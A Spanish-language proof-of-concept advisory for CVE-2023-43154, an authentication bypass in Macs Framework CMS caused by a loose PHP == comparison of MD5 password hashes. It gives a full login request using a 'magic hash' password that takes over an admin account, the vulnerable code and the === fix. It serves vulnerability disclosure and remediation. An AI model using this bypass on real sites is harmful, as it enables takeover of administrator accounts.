
PoC para la vulnerabilidad de confusión de tipos en el CMS de Mac que provoca un bypass de autenticación y la toma de control de la cuenta de administrador.
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
Descripción de la vulnerabilidad: Una comparación débil en la función isValidLogin() provoca una vulnerabilidad de confusión de tipos en PHP que puede ser aprovechada para omitir la autenticación y tomar el control de la cuenta de administrador.
Parámetros vulnerables: El nombre de usuario y la contraseña de los usuarios del CMS.
Productos afectados: Macs Framework v1.14f - Sistema de gestión de contenidos
Limitaciones:
Interacción del usuario requerida: Ninguna
Referencias: https://github.com/ally-petitt/CVE-2023-43154-PoC
Fecha de descubrimiento: 7 de septiembre de 2023
Reportado por: Ally Petitt
Iniciar sesión en la URI /index.php/main/cms/login con el nombre de usuario de la cuenta víctima y cualquier contraseña que dé como resultado un hash mágico provocará la omisión de la autenticación.
A continuación se muestra un inicio de sesión de ejemplo.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
El código de estado 200 y la redirección a /index.php/home son indicios de que el intento de inicio de sesión fue exitoso. La contraseña de testadmin no era la utilizada en el intento de inicio de sesión (0gdVIdSQL8Cm). En su lugar, estaba establecida como QNKCDZO.
Cuando un usuario intenta iniciar sesión, su contraseña proporcionada se procesa mediante hash y se envía como parámetro a la función isValidLogin() a través de la función inicial login() que se llama cuando se realiza una solicitud POST a /index.php/Main/CMS/login.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
La función isValidLogin() comienza en la línea 83 del archivo /Application/plugins/CMS/controllers/CMS.php. Es vulnerable a una vulnerabilidad de confusión de tipos debido al uso de 2 signos igual en lugar de 3.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
Como se muestra en la declaración if, el nombre de usuario y la contraseña se verifican con una comparación débil, lo que conduce a una vulnerabilidad de confusión de tipos en PHP. Esto puede ser aprovechado al iniciar sesión con una contraseña que dé como resultado un hash mágico, o un hash que PHP interpreta como el valor 0 durante una comparación débil. Una lista de dichas contraseñas se puede encontrar aquí.
Para explotar esto, es importante comprender primero el formato en el que se almacena $account['password']. En la función utilizada para guardar una nueva cuenta de usuario en la línea 730 del mencionado archivo CMS.php, queda claro que la contraseña primero se pasa a través de una función encrypt antes de almacenarse.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
Continuando con la función que se llama después de que la contraseña pasa por encrypt, se utiliza el siguiente código:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
Según el código anterior, es evidente que la contraseña "cifrada" se colocó directamente en el Modelo users del framework MVC. Finalmente, para explotar esta vulnerabilidad, es necesario comprender cómo funciona la función encrypt, ya que su salida se compara directamente con la entrada del usuario.
private function encrypt( $string )
{
return md5($string);
}
La función encrypt devuelve el hash MD5 de la cadena que se le pasa. Esto significa que cuando se llama a la función login() con las credenciales proporcionadas por el usuario, la contraseña ingresada se procesa mediante hash y se compara con el hash MD5 almacenado de la cuenta víctima.
La implicación es que al usar una contraseña que resulta en una colisión de PHP, o hash mágico, se registrará como equivalente al compararse con una contraseña almacenada que también sigue el formato de un hash mágico. Como resultado, una gran cantidad de contraseñas puede usarse para autenticarse y tomar el control de la cuenta de administrador, incluso cuando la contraseña inicial no se conoce previamente.
Esta vulnerabilidad se puede mitigar cambiando la comparación débil en la función isValidLogin() por una comparación estricta, reemplazando == por ===.